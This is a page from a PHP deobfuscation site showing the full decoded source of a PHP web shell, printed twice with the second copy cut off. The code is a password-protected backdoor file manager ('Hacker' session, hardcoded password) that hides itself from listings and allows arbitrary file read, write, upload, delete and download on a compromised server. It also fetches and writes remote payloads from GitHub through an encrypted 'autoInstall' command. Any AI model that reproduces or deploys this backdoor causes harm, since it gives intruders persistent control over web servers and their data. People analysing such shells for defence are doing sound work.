Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
/* Decoded by unphp.net */ <? goto BFOes; MxRyH: $mr999plus = str_replace("\", "/", ..
Decoded Output download
/* Decoded by unphp.net */
<?
goto BFOes; MxRyH: $mr999plus = str_replace("\", "/", __DIR__) . "/" . basename(__FILE__, "(1) : eval()'d code"); goto PEKhe; e1iq8: function getDecode($encode) { $key = "SamiulAlim"; $chiper = "AES-128-CTR"; $iv = hex2bin("2c269a65037c190f4994f11c0f1e37c0"); return openssl_decrypt($encode, $chiper, $key, 0, $iv); } goto x1ZU9; gE7HM: function sizeFile($file) { return sizeFormat(filesize($file)); } goto NlGrt; yJoJZ: function setDelete($path) { $success = true; global $mr999plus; if (is_dir($path)) { $files = array_diff(scandir($path), array(".", "..")); foreach ($files as $file) { $deleted = setDelete(realpath($path) . "/" . $file); if (!$deleted) { $success = false; } } if (count(scandir($path)) == 2) { rmdir($path); } else { $success = false; } } else { if (is_file($path)) { if (str_replace("\", "/", $path) != $mr999plus) { $deleted = unlink($path); if (!$deleted) { $success = false; } } else { $success = false; } } } return $success; } goto e1iq8; BFOes: session_start(); goto p2lP0; NlGrt: function chmodFolder($folder) { return substr(sprintf("%o", fileperms($folder)), -4); } goto I3bvZ; QKpH6: function createFileFopen($file, $data) { $fileHandle = fopen($file, "w"); if ($fileHandle === false) { return false; } else { if (empty($data)) { fclose($fileHandle); return true; } else { $bytesWritten = fwrite($fileHandle, $data); fclose($fileHandle); if ($bytesWritten !== false) { return true; } else { return false; } } } } goto GH4p6; eHxuf: function getHomeDirectory() { if (isset($_SERVER["DOCUMENT_ROOT"])) { $homeDir = $_SERVER["DOCUMENT_ROOT"]; } else { if (isset($_SERVER["HOME"])) { $homeDir = $_SERVER["HOME"]; } else { $homeDir = __DIR__; } } $homeDirALL = explodeLast("/", $homeDir); return $homeDirALL[0] . "/"; } goto gE7HM; PEKhe: $index = "https://raw.githubusercontent.com/samiulalim1/shell/main/html/v1.1/index.html"; goto hp7GK; loOmc: $Hacker = "Lxbadboy@@"; goto M74z1; p2lP0: error_reporting(0); goto loOmc; x1ZU9: function getContent($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_HTTPHEADER, array("User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36")); $output = curl_exec($curl); curl_close($curl); return $output; } goto QKpH6; bA1mE: function mimeType($file) { $fileInfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($fileInfo, $file); finfo_close($fileInfo); $type = explode("/", $mimeType); if ($type[0] == "image") { $result["type"] = "image"; } else { if ($type[0] == "video") { $result["type"] = "video"; } else { if ($type[0] == "audio") { $result["type"] = "video"; } else { if ($type[0] == "text") { $result["type"] = "ace"; } else { if ($type[0] == "inode") { $result["type"] = "ace"; } else { if ($type[1] == "x-csh" or $type[1] == "java-archive" or $type[1] == "json" or $type[1] == "ld+json" or $type[1] == "x-httpd-php") { $result["type"] = "ace"; } else { if ($type[1] == "zip") { $result["type"] = "zip"; } else { $name = basename($file); $idx = explode(".", $name); $countExplode = count($idx); $idx = strtolower($idx[$countExplode - 1]); $mimet = array("txt" => "ace", "htm" => "ace", "html" => "ace", "php" => "ace", "css" => "ace", "js" => "ace", "json" => "ace", "xml" => "ace", "as" => "ace", "cmd" => "ace", "cs" => "ace", "diz" => "ace", "lst" => "ace", "lua" => "ace", "ml" => "ace", "mxml" => "ace", "pas" => "ace", "py" => "ace", "sh" => "ace", "3gp" => "video", "flv" => "video", "mkv" => "video", "mp4" => "video", "mov" => "video", "webm" => "video", "mp3" => "audio", "m4a" => "audio", "aiff" => "audio", "bmp" => "audio", "wav" => "audio", "jpg" => "image", "png" => "image", "svg" => "image", "webp" => "image", "gif" => "image"); if (isset($mimet[$idx])) { $result["type"] = $mimet[$idx]; } else { $result["type"] = $type[0]; } } } } } } } } $result["info"] = $type[0]; return $result; } goto NY1Rf; I3bvZ: function sizeFormat($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . " GB"; } else { if ($size >= 1048576) { $size = number_format($size / 1048576, 2) . " MB"; } else { if ($size >= 1024) { $size = number_format($size / 1024, 2) . " KB"; } else { if ($size > 1) { $size = $size . " bytes"; } else { if ($size == 1) { $size = $size . " byte"; } else { $size = "0 bytes"; } } } } } return $size; } goto bA1mE; oTHlz: function explodeLast($ex, $data) { $dataParts = explode($ex, $data); $dataLast = array_pop($dataParts); return array(implode($ex, $dataParts), $dataLast); } goto eHxuf; NY1Rf: function typeAceFile($name) { $idx = explode(".", $name); $countExplode = count($idx); $idx = strtolower($idx[$countExplode - 1]); $mimet = array("txt" => "text", "htm" => "html", "html" => "html", "php" => "php", "css" => "css", "js" => "javascript", "json" => "json", "xml" => "xml", "mxml" => "xml", "py" => "python", "sh" => "sh", "java" => "java"); if (isset($mimet[$idx])) { return $mimet[$idx]; } else { return "text"; } } goto yJoJZ; M74z1: date_default_timezone_set("Asia/Dhaka"); goto MxRyH; hp7GK: $style = "https://raw.githubusercontent.com/samiulalim1/shell/main/style/v1.1/default.css"; goto KN2zX; KN2zX: $script = "https://raw.githubusercontent.com/samiulalim1/shell/main/script/v1.1/script.js"; goto oTHlz; GH4p6: if (isset($_POST["data"])) { $noLogin = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; if (!isset($_SESSION["Hacker"])) { $result["dir"] = false; $result["success"] = true; $result["isLogin"] = false; $result["html"] = $noLogin; } else { if ($_SESSION["Hacker"] != $Hacker) { $result["dir"] = false; $result["success"] = true; $result["isLogin"] = false; $result["html"] = $noLogin; } else { $data = $_POST["data"]; if ($data == "Load") { $result["success"] = true; $result["isLogin"] = true; $result["dir"] = getHomeDirectory(); $result["html"] = "<div class="fix"><h1 class="owner">File Manager</h1><div class="newSell"><div class="newSell_title" id="dir">./</div><i id="openSell_btn" class="fa-light fa-square-plus"></i><div class="newSell_btn"> <i id="CreateFile" class="fa-light fa-file-plus"></i><i id="upload" class="fa-light fa-file-arrow-up"></i><i id="CreateFolder" class="fa-light fa-folder-plus"></i><i id="InstallShell" class="fa-light fa-shield-plus"></i><i id="closeSell_btn" class="fa-light fa-rectangle-xmark"></i></div></div></div><div id="folders"></div>"; } else { if ($data == "loadDir") { $dir = $_POST["dir"]; $explodeDir = explode("/", $dir); $homeDir = getHomeDirectory(); $openDir = $titleDir = $outputFolders = $outputFiles = ''; for ($i = 0; $i < count($explodeDir); $i++) { if ($explodeDir[$i] != '') { $openDir = $openDir . $explodeDir[$i] . "/"; $titleDir = $titleDir . "<span id="openDir" style="cursor: pointer;" data-dir="" . $openDir . "">" . $explodeDir[$i] . "</span>/"; } else { if ($i == 0) { $openDir = $titleDir = "/"; } } } if ($explodeDir[1] != '') { $undoDir = explodeLast("/", $dir); $undoDir = explodeLast("/", $undoDir[0]); $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir[0] . "/">../</div><div class="edit_btn"><i id="openDir" data-dir="" . $homeDir . "" class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="" . $homeDir . "" class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $folders = glob($dir . "*"); usort($folders, function ($a, $b) { return strtolower(basename($a)) <=> strtolower(basename($b)); }); foreach ($folders as $folder) { $path = $dir . basename($folder); if ($path != $mr999plus) { if (is_file($path)) { $mimeType = mimeType($path); $outputFiles .= "<div class="flex"><div class="folders" id="openFile" data-name="" . basename($folder) . "" data-type="" . $mimeType["type"] . "" data-file="" . $path . ""><i class="fa-light fa-file"></i> " . basename($folder) . "</div><div class="date">" . date("h:i:s a d/m/Y", filemtime($path)) . "</div><div class="type">" . $mimeType["info"] . "</div><div class="size">" . sizeFile($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . basename($folder) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="download" data-dir="" . $path . "" class="fa-light fa-download"></i></div></div>"; } else { $path = $dir . basename($folder) . "/"; $outputFolders .= "<div class="flex"><div class="folders" id="openDir" data-dir="" . $path . ""><i class="fa-light fa-folder"></i> " . basename($folder) . "</div><div class="date">" . date("h:i:s a d/m/Y", filemtime($path)) . "</div><div class="type">" . filetype($path) . "</div><div class="size">" . chmodFolder($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . basename($folder) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="zipDir" data-dir="" . $path . "" class="fa-light fa-file-zipper"></i></div></div>"; } } } $result["success"] = true; $result["dir"] = $titleDir; $result["html"] = $output . $outputFolders . $outputFiles; } else { if ($data == "updateFile") { $dir = $_POST["dir"]; if (is_writable($dir)) { $editorData = base64_decode($_POST["code"]); $saveData = createFileFopen($dir, $editorData); if ($saveData) { $result["success"] = true; $result["msg"] = "File updated successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to update file!"; } } else { $result["success"] = false; $result["msg"] = "Edit permission denied!"; } } else { if ($data == "setRename") { $renameDir = $_POST["renameDir"]; $newName = $_POST["newName"]; if (is_file($renameDir)) { $undoDir = explodeLast("/", $renameDir); } else { $undoDir = explodeLast("/", $renameDir); $undoDir = explodeLast("/", $undoDir[0]); } $newDir = $undoDir[0] . "/" . $newName; if (is_dir($newDir) === true) { $result["error"] = true; $result["success"] = false; $result["msg"] = "Folder already existed!"; } else { if (is_file($newDir) === true) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File already existed!"; } else { if (rename($renameDir, $newDir)) { $result["success"] = true; $result["msg"] = "Renamed successfully!"; } else { $result["error"] = false; $result["success"] = false; $result["msg"] = "Rename permission denied!"; } } } } else { if ($data == "setDelete") { $delete = setDelete($_POST["dir"]); $result["success"] = $delete; if ($delete) { $result["msg"] = "Deleted successfully!"; } else { $result["msg"] = "Deleted permission denied!"; } } else { if ($data == "zipDir") { $dir = $_POST["dir"]; $zip = $_POST["zip"]; $undoDir = explodeLast("/", $zip); $folDer = explodeLast("/", $undoDir[0]); $zipfile = $dir . $folDer[1] . ".zip"; if (class_exists("ZipArchive")) { if (is_writable($dir)) { $rootPath = realpath($zip); $zip = new ZipArchive(); $zip->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); $result["success"] = true; $result["msg"] = "Folder zipped successfully!"; } else { $result["success"] = false; $result["msg"] = "Zip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Your PHP version does not support ZipArchive!"; } } else { if ($data == "unzipFile") { $file = $_POST["file"]; $dir = pathinfo(realpath($file), PATHINFO_DIRNAME); if (class_exists("ZipArchive")) { if (is_writable($dir)) { $zip = new ZipArchive(); $res = $zip->open($file); if ($res === true) { $zip->extractTo($dir); $zip->close(); $result["success"] = true; $result["msg"] = "File unzipped successfully!"; } else { $result["success"] = false; $result["msg"] = "Unzip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Unzip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Your PHP version does not support ZipArchive!"; } } else { if ($data == "newFile") { $dir = $_POST["dir"]; $newfile = $dir . $_POST["newFileName"]; if (is_file($newfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File name already existed!"; } else { if (is_writable($dir)) { if (createFileFopen($newfile, '')) { $result["success"] = true; $result["file"] = $newfile; $result["msg"] = "File created successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to create file!"; } } else { $result["success"] = false; $result["msg"] = "New File permission denied!"; } $result["error"] = false; } } else { if ($data == "newFolder") { $dir = $_POST["dir"]; $newfolder = $dir . $_POST["newFolderName"]; if (is_dir($newfolder)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "Folder name already existed!"; } else { if (is_writable($dir)) { if (mkdir($newfolder, 511, true)) { $result["success"] = true; $result["msg"] = "Folder created successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to create folder!"; } } else { $result["success"] = false; $result["msg"] = "New Folder permission denied!"; } $result["error"] = false; } } else { if ($data == "uploadFile") { $dir = $_POST["dir"]; $newfile = $dir . $_POST["fileName"]; if (is_file($newfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File name already existed!"; } else { if (is_writable($dir)) { if (move_uploaded_file($_FILES["file"]["tmp_name"], $newfile)) { $result["success"] = true; $result["msg"] = "File uploaded successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to upload file!"; } } else { $result["success"] = false; $result["msg"] = "Upload File permission denied!"; } $result["error"] = false; } } else { if ($data == "autoInstall") { $dir = $_POST["dir"]; $autoInstall = explode("|SHELL|", getDecode($_POST["autoInstall"])); $installfile = $dir . $autoInstall[0]; if (is_file($installfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File already installed!"; } else { if (is_writable($dir)) { $installContent = getContent($autoInstall[1]); if ($installContent != '') { if (createFileFopen($installfile, $installContent)) { $result["success"] = true; $result["msg"] = "Installed successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to install!"; } } else { $result["success"] = false; $result["msg"] = "Something went wrong!!"; } } else { $result["success"] = false; $result["msg"] = "Install permission denied!"; } $result["error"] = false; } } else { if ($data == "Uninstall") { $uninstallContent = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/uninstall/uninstall.php"); if (is_writable($mr999plus)) { if ($uninstallContent != '') { if (createFileFopen($mr999plus, $uninstallContent)) { $result["success"] = true; $result["msg"] = "Uninstalled successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to uninstall!"; } } else { $result["success"] = false; $result["msg"] = "Something went wrong!"; } } else { $result["success"] = false; $result["msg"] = "Uninstall permission denied!"; } } else { $result["error"] = false; $result["success"] = false; $result["msg"] = "Permission denied!"; } } } } } } } } } } } } } } header("Content-Type: application/json; charset=utf-8"); die(json_encode($result)); } else { if (isset($_GET["data"], $_SESSION["Hacker"])) { if ($_SESSION["Hacker"] == $Hacker) { $data = $_GET["data"]; if ($data == "openSrc") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); header("Content-Type: " . mime_content_type($file)); readfile($file); die; } else { if ($data == "download") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); if (file_exists($file)) { header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=" . basename($file)); header("Content-Transfer-Encoding: binary"); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); ob_clean(); flush(); readfile($file); die; } else { die("<script>alert("File not found!"); window.close();</script>"); } } else { if ($data == "openACE") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); if (file_exists($file)) { $fileSize = filesize($file); $fileName = basename($file); $fileHandle = fopen($file, "r"); if ($fileHandle) { $canRead = "true"; if ($fileSize == 0) { $content = ''; } else { $content = base64_encode(fread($fileHandle, $fileSize)); } fclose($fileHandle); } else { $canRead = "false"; $content = "Read permission denied!"; } } else { $fileName = ''; $canRead = "false"; $content = "File not found!"; } $setting = "var dir = "" . $file . "", aceName = "" . $fileName . "", aceFileType = "" . typeAceFile($fileName) . "", aceRead = " . $canRead . ", aceData = "" . $content . "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } } } else { $setting = "var dir = "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } else { if (isset($_POST["login"])) { $login = $_POST["login"]; if ($login == $Hacker) { $_SESSION["Hacker"] = $Hacker; $result["success"] = true; } else { $result["success"] = false; $result["msg"] = "Wrong Password!"; } header("Content-Type: application/json; charset=utf-8"); die(json_encode($result)); } else { $setting = "var dir = "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } }
?>
Did this file decode correctly?
Original Code
/* Decoded by unphp.net */
<?
goto BFOes; MxRyH: $mr999plus = str_replace("\", "/", __DIR__) . "/" . basename(__FILE__, "(1) : eval()'d code"); goto PEKhe; e1iq8: function getDecode($encode) { $key = "SamiulAlim"; $chiper = "AES-128-CTR"; $iv = hex2bin("2c269a65037c190f4994f11c0f1e37c0"); return openssl_decrypt($encode, $chiper, $key, 0, $iv); } goto x1ZU9; gE7HM: function sizeFile($file) { return sizeFormat(filesize($file)); } goto NlGrt; yJoJZ: function setDelete($path) { $success = true; global $mr999plus; if (is_dir($path)) { $files = array_diff(scandir($path), array(".", "..")); foreach ($files as $file) { $deleted = setDelete(realpath($path) . "/" . $file); if (!$deleted) { $success = false; } } if (count(scandir($path)) == 2) { rmdir($path); } else { $success = false; } } else { if (is_file($path)) { if (str_replace("\", "/", $path) != $mr999plus) { $deleted = unlink($path); if (!$deleted) { $success = false; } } else { $success = false; } } } return $success; } goto e1iq8; BFOes: session_start(); goto p2lP0; NlGrt: function chmodFolder($folder) { return substr(sprintf("%o", fileperms($folder)), -4); } goto I3bvZ; QKpH6: function createFileFopen($file, $data) { $fileHandle = fopen($file, "w"); if ($fileHandle === false) { return false; } else { if (empty($data)) { fclose($fileHandle); return true; } else { $bytesWritten = fwrite($fileHandle, $data); fclose($fileHandle); if ($bytesWritten !== false) { return true; } else { return false; } } } } goto GH4p6; eHxuf: function getHomeDirectory() { if (isset($_SERVER["DOCUMENT_ROOT"])) { $homeDir = $_SERVER["DOCUMENT_ROOT"]; } else { if (isset($_SERVER["HOME"])) { $homeDir = $_SERVER["HOME"]; } else { $homeDir = __DIR__; } } $homeDirALL = explodeLast("/", $homeDir); return $homeDirALL[0] . "/"; } goto gE7HM; PEKhe: $index = "https://raw.githubusercontent.com/samiulalim1/shell/main/html/v1.1/index.html"; goto hp7GK; loOmc: $Hacker = "Lxbadboy@@"; goto M74z1; p2lP0: error_reporting(0); goto loOmc; x1ZU9: function getContent($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_HTTPHEADER, array("User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36")); $output = curl_exec($curl); curl_close($curl); return $output; } goto QKpH6; bA1mE: function mimeType($file) { $fileInfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($fileInfo, $file); finfo_close($fileInfo); $type = explode("/", $mimeType); if ($type[0] == "image") { $result["type"] = "image"; } else { if ($type[0] == "video") { $result["type"] = "video"; } else { if ($type[0] == "audio") { $result["type"] = "video"; } else { if ($type[0] == "text") { $result["type"] = "ace"; } else { if ($type[0] == "inode") { $result["type"] = "ace"; } else { if ($type[1] == "x-csh" or $type[1] == "java-archive" or $type[1] == "json" or $type[1] == "ld+json" or $type[1] == "x-httpd-php") { $result["type"] = "ace"; } else { if ($type[1] == "zip") { $result["type"] = "zip"; } else { $name = basename($file); $idx = explode(".", $name); $countExplode = count($idx); $idx = strtolower($idx[$countExplode - 1]); $mimet = array("txt" => "ace", "htm" => "ace", "html" => "ace", "php" => "ace", "css" => "ace", "js" => "ace", "json" => "ace", "xml" => "ace", "as" => "ace", "cmd" => "ace", "cs" => "ace", "diz" => "ace", "lst" => "ace", "lua" => "ace", "ml" => "ace", "mxml" => "ace", "pas" => "ace", "py" => "ace", "sh" => "ace", "3gp" => "video", "flv" => "video", "mkv" => "video", "mp4" => "video", "mov" => "video", "webm" => "video", "mp3" => "audio", "m4a" => "audio", "aiff" => "audio", "bmp" => "audio", "wav" => "audio", "jpg" => "image", "png" => "image", "svg" => "image", "webp" => "image", "gif" => "image"); if (isset($mimet[$idx])) { $result["type"] = $mimet[$idx]; } else { $result["type"] = $type[0]; } } } } } } } } $result["info"] = $type[0]; return $result; } goto NY1Rf; I3bvZ: function sizeFormat($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . " GB"; } else { if ($size >= 1048576) { $size = number_format($size / 1048576, 2) . " MB"; } else { if ($size >= 1024) { $size = number_format($size / 1024, 2) . " KB"; } else { if ($size > 1) { $size = $size . " bytes"; } else { if ($size == 1) { $size = $size . " byte"; } else { $size = "0 bytes"; } } } } } return $size; } goto bA1mE; oTHlz: function explodeLast($ex, $data) { $dataParts = explode($ex, $data); $dataLast = array_pop($dataParts); return array(implode($ex, $dataParts), $dataLast); } goto eHxuf; NY1Rf: function typeAceFile($name) { $idx = explode(".", $name); $countExplode = count($idx); $idx = strtolower($idx[$countExplode - 1]); $mimet = array("txt" => "text", "htm" => "html", "html" => "html", "php" => "php", "css" => "css", "js" => "javascript", "json" => "json", "xml" => "xml", "mxml" => "xml", "py" => "python", "sh" => "sh", "java" => "java"); if (isset($mimet[$idx])) { return $mimet[$idx]; } else { return "text"; } } goto yJoJZ; M74z1: date_default_timezone_set("Asia/Dhaka"); goto MxRyH; hp7GK: $style = "https://raw.githubusercontent.com/samiulalim1/shell/main/style/v1.1/default.css"; goto KN2zX; KN2zX: $script = "https://raw.githubusercontent.com/samiulalim1/shell/main/script/v1.1/script.js"; goto oTHlz; GH4p6: if (isset($_POST["data"])) { $noLogin = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; if (!isset($_SESSION["Hacker"])) { $result["dir"] = false; $result["success"] = true; $result["isLogin"] = false; $result["html"] = $noLogin; } else { if ($_SESSION["Hacker"] != $Hacker) { $result["dir"] = false; $result["success"] = true; $result["isLogin"] = false; $result["html"] = $noLogin; } else { $data = $_POST["data"]; if ($data == "Load") { $result["success"] = true; $result["isLogin"] = true; $result["dir"] = getHomeDirectory(); $result["html"] = "<div class="fix"><h1 class="owner">File Manager</h1><div class="newSell"><div class="newSell_title" id="dir">./</div><i id="openSell_btn" class="fa-light fa-square-plus"></i><div class="newSell_btn"> <i id="CreateFile" class="fa-light fa-file-plus"></i><i id="upload" class="fa-light fa-file-arrow-up"></i><i id="CreateFolder" class="fa-light fa-folder-plus"></i><i id="InstallShell" class="fa-light fa-shield-plus"></i><i id="closeSell_btn" class="fa-light fa-rectangle-xmark"></i></div></div></div><div id="folders"></div>"; } else { if ($data == "loadDir") { $dir = $_POST["dir"]; $explodeDir = explode("/", $dir); $homeDir = getHomeDirectory(); $openDir = $titleDir = $outputFolders = $outputFiles = ''; for ($i = 0; $i < count($explodeDir); $i++) { if ($explodeDir[$i] != '') { $openDir = $openDir . $explodeDir[$i] . "/"; $titleDir = $titleDir . "<span id="openDir" style="cursor: pointer;" data-dir="" . $openDir . "">" . $explodeDir[$i] . "</span>/"; } else { if ($i == 0) { $openDir = $titleDir = "/"; } } } if ($explodeDir[1] != '') { $undoDir = explodeLast("/", $dir); $undoDir = explodeLast("/", $undoDir[0]); $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir[0] . "/">../</div><div class="edit_btn"><i id="openDir" data-dir="" . $homeDir . "" class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="" . $homeDir . "" class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $folders = glob($dir . "*"); usort($folders, function ($a, $b) { return strtolower(basename($a)) <=> strtolower(basename($b)); }); foreach ($folders as $folder) { $path = $dir . basename($folder); if ($path != $mr999plus) { if (is_file($path)) { $mimeType = mimeType($path); $outputFiles .= "<div class="flex"><div class="folders" id="openFile" data-name="" . basename($folder) . "" data-type="" . $mimeType["type"] . "" data-file="" . $path . ""><i class="fa-light fa-file"></i> " . basename($folder) . "</div><div class="date">" . date("h:i:s a d/m/Y", filemtime($path)) . "</div><div class="type">" . $mimeType["info"] . "</div><div class="size">" . sizeFile($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . basename($folder) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="download" data-dir="" . $path . "" class="fa-light fa-download"></i></div></div>"; } else { $path = $dir . basename($folder) . "/"; $outputFolders .= "<div class="flex"><div class="folders" id="openDir" data-dir="" . $path . ""><i class="fa-light fa-folder"></i> " . basename($folder) . "</div><div class="date">" . date("h:i:s a d/m/Y", filemtime($path)) . "</div><div class="type">" . filetype($path) . "</div><div class="size">" . chmodFolder($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . basename($folder) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="zipDir" data-dir="" . $path . "" class="fa-light fa-file-zipper"></i></div></div>"; } } } $result["success"] = true; $result["dir"] = $titleDir; $result["html"] = $output . $outputFolders . $outputFiles; } else { if ($data == "updateFile") { $dir = $_POST["dir"]; if (is_writable($dir)) { $editorData = base64_decode($_POST["code"]); $saveData = createFileFopen($dir, $editorData); if ($saveData) { $result["success"] = true; $result["msg"] = "File updated successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to update file!"; } } else { $result["success"] = false; $result["msg"] = "Edit permission denied!"; } } else { if ($data == "setRename") { $renameDir = $_POST["renameDir"]; $newName = $_POST["newName"]; if (is_file($renameDir)) { $undoDir = explodeLast("/", $renameDir); } else { $undoDir = explodeLast("/", $renameDir); $undoDir = explodeLast("/", $undoDir[0]); } $newDir = $undoDir[0] . "/" . $newName; if (is_dir($newDir) === true) { $result["error"] = true; $result["success"] = false; $result["msg"] = "Folder already existed!"; } else { if (is_file($newDir) === true) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File already existed!"; } else { if (rename($renameDir, $newDir)) { $result["success"] = true; $result["msg"] = "Renamed successfully!"; } else { $result["error"] = false; $result["success"] = false; $result["msg"] = "Rename permission denied!"; } } } } else { if ($data == "setDelete") { $delete = setDelete($_POST["dir"]); $result["success"] = $delete; if ($delete) { $result["msg"] = "Deleted successfully!"; } else { $result["msg"] = "Deleted permission denied!"; } } else { if ($data == "zipDir") { $dir = $_POST["dir"]; $zip = $_POST["zip"]; $undoDir = explodeLast("/", $zip); $folDer = explodeLast("/", $undoDir[0]); $zipfile = $dir . $folDer[1] . ".zip"; if (class_exists("ZipArchive")) { if (is_writable($dir)) { $rootPath = realpath($zip); $zip = new ZipArchive(); $zip->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); $result["success"] = true; $result["msg"] = "Folder zipped successfully!"; } else { $result["success"] = false; $result["msg"] = "Zip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Your PHP version does not support ZipArchive!"; } } else { if ($data == "unzipFile") { $file = $_POST["file"]; $dir = pathinfo(realpath($file), PATHINFO_DIRNAME); if (class_exists("ZipArchive")) { if (is_writable($dir)) { $zip = new ZipArchive(); $res = $zip->open($file); if ($res === true) { $zip->extractTo($dir); $zip->close(); $result["success"] = true; $result["msg"] = "File unzipped successfully!"; } else { $result["success"] = false; $result["msg"] = "Unzip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Unzip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Your PHP version does not support ZipArchive!"; } } else { if ($data == "newFile") { $dir = $_POST["dir"]; $newfile = $dir . $_POST["newFileName"]; if (is_file($newfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File name already existed!"; } else { if (is_writable($dir)) { if (createFileFopen($newfile, '')) { $result["success"] = true; $result["file"] = $newfile; $result["msg"] = "File created successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to create file!"; } } else { $result["success"] = false; $result["msg"] = "New File permission denied!"; } $result["error"] = false; } } else { if ($data == "newFolder") { $dir = $_POST["dir"]; $newfolder = $dir . $_POST["newFolderName"]; if (is_dir($newfolder)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "Folder name already existed!"; } else { if (is_writable($dir)) { if (mkdir($newfolder, 511, true)) { $result["success"] = true; 